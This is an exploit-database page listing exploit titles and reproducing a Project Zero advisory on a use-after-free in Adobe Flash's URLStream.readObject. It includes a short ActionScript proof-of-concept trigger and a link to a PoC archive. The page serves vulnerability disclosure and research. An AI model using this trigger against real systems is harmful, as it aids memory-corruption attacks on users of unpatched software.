6290e0021e
8 new exploits Microsoft Windows 2000/XP - (RPC DCOM) Remote Exploit Microsoft Windows 2000/XP - (RPC DCOM) Remote Exploit (MS03-026) Microsoft Windows NT/2000/XP/2003/Vista/2008/7 - User Mode to Ring Escalation Vulnerability (KiTrap0D) Microsoft Windows NT/2000/XP/2003/Vista/2008/7 - User Mode to Ring Escalation Vulnerability (KiTrap0D) (MS10-015) PHP <= 7.0.4/5.5.33 - SNMP Format String Exploit Windows Kernel - Bitmap Use-After-Free Windows Kernel - NtGdiGetTextExtentExW Out-of-Bounds Memory Read Adobe Flash - URLStream.readObject Use-After-Free Adobe Flash - TextField.maxChars Use-After-Free Android - ih264d_process_intra_mb Memory Corruption Adobe Flash - Color.setTransform Use-After-Free PHP 5.5.33 - Invalid Memory Write
35 lines
992 B
Text
Executable file
35 lines
992 B
Text
Executable file
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=611
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There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it.
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A minimal PoC is as follows:
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//In main
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flash.net.registerClassAlias("bob", myclass);
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var u:URLStream = new URLStream();
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myclass.u = u;
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u.addEventListener(Event.COMPLETE, func);
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u.load(new URLRequest("file.txt"));
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function func(){
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trace(u.readObject());
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}
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// in myclass
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static public var u;
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public function myclass()
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{
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u.close();
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}
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A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server.
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Proof of Concept:
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https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39649.zip
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